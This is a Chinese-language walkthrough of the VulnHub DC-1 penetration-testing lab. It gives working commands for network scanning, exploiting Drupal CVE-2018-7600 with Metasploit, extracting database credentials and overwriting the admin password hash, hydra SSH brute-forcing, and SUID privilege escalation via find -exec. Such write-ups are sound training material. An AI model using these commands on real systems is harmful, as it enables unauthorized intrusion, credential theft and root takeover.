文章

DC-1 渗透

参考[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)_vulnhub靶场-CSDN博客

1.信息收集

第一步,目标IP探测 首先需要探测目标靶场的IP,使用arp-scan命令探测目标的IP地址:arp-scan -l

第二步,端口扫描

nmap命令的基本用法如下:

-sS:半开扫描,记入系统日志风险小;-sP:扫描端口前,先使用ping扫描,保证主机存活;

-T4:这个选项设置了时间模板,T4 表示“快速扫描”。它使 Nmap 在扫描时更快,但可能会增加被检测到的风险。时间模板的范围是从 T0(极慢)到 T5(最快)。

-A:全面系统检测,启用脚本检测和扫描

-p-:这个选项表示扫描所有端口(从 1 到 65535),而不是默认的 1-1024 范围。

输入命令:nmap -sS -T4 -A -p- 192.168.80.129

扫描结果(主机开放端口)如下,常用的端口22和88,也需要注意一些特殊的端口可能存在漏洞。

22:SSH远程连接;80:HTTP网站协议,Drupal;111:rpcbind协议;42969:敏感端口

image-20250425153150674

访问web站点,发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS

利用Metasploit(MSF)渗透

接下来使用metasploit工具对漏洞进行利用。

第一步,启动metasploit

image-20250425153549269

第二步,搜索drupal模块,采用2018 搜索这个CMS在MSF中能进行利用的方法,前面我们已经查询CVE-2018-7600是常见的漏洞。如果不知道的情况下,我们就需要一个个攻击模块的尝试。search drupal

image-20250425154548135

第三步,采用最新的2018漏洞尝试攻击,配置参数

use exploit/unix/webapp/drupal_drupalgeddon2

show options:显示配置参数,其中RHOSTS是必填项

image-20250425160013515

第四步,反弹shell

set RHOSTS 192.168.80.129

exploit

shell

ls

image-20250425160229599

发现了第一个文件flag1.txt

在/var/www/下有个flag1.txt,提示我们查看配置文件。

image-20250425160524044

虽然shell已经进入,但它并不是交互的shell,所以我们要进入交互式的shell。

使用python反弹一个交互式shell: python -c ‘import pty;pty.spawn(“/bin/bash”)’

drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。

  • cat /var/www/sites/default/settings.php

image-20250425161140237

接着发现了flag2以及数据库账号密码。flag2提示,提升权限为root来查看敏感文件,或者直接爆破

先进入数据库查看

1
mysql -u dbuser -p

查看数据库,切换到drupaldb数据库

1
2
show databases;
use drupaldb

查看查找默认的Drupal user 表

1
select * from users;

发现admin信息

置换drupal密码http://drupalchina.cn/node/2128

进入www目录

1
quit;

站点路径下执行

1
php scripts/password-hash.sh 新密码

然后在进入数据库中把密码字段进行替换 进入mysql,输入密码,切换到drupaldb数据库

1
2
3
mysql -u dbuser -p
R0ck3t
use drupaldb

将pass字段进行替换

1
update users set pass="$S$DW/j0Hhhx6pIBV4ZkoBp3mv/5l8reTwEBdpgzB/x8awTYUfFkd2k" where name="admin";

登录站点

访问站点,进行登录,密码是之前我们自己替换的,账号是admin。登录后点击Find content发现flag3

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

大致意思是提权并提示 -exec,想到suid提权。提权前可以先看一下flag4的提示

查看/etc/password文件,发现flag4用户。

尝试查看flag4用户的家目录,确实存在flag4.txt文件。ls /home/flag4 cat /home/flag4/flag4.txt

提示信息为:在root里?

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

使用hydra进行密码爆破。hydra -l flag4 -P passwords.txt ssh://192.168.80.129

-l:指定用户名;-P:加载自定义密码字典;ssh://ip:指定使用协议和ip地址

image-20250425172252257

最终结果为:login: flag4, password: orange

SSH远程登录

接着使用flag4用户进行ssh远程登录系统。ssh flag4@192.168.80.129,密码: orange

image-20250425173704741

这部分爆破和ssh远程登录在这里没什么用,如果没权限读flag4.txt的话才会用到

提权

找到具有suid权限的文件: find / -perm -4000 2>/dev/null

发现/usr/bin/find有suid权限,提权命令:/usr/bin/find . -exec /bin/sh \; -quit

进入/root,得到thefinalflag

本文由作者按照 CC BY 4.0 进行授权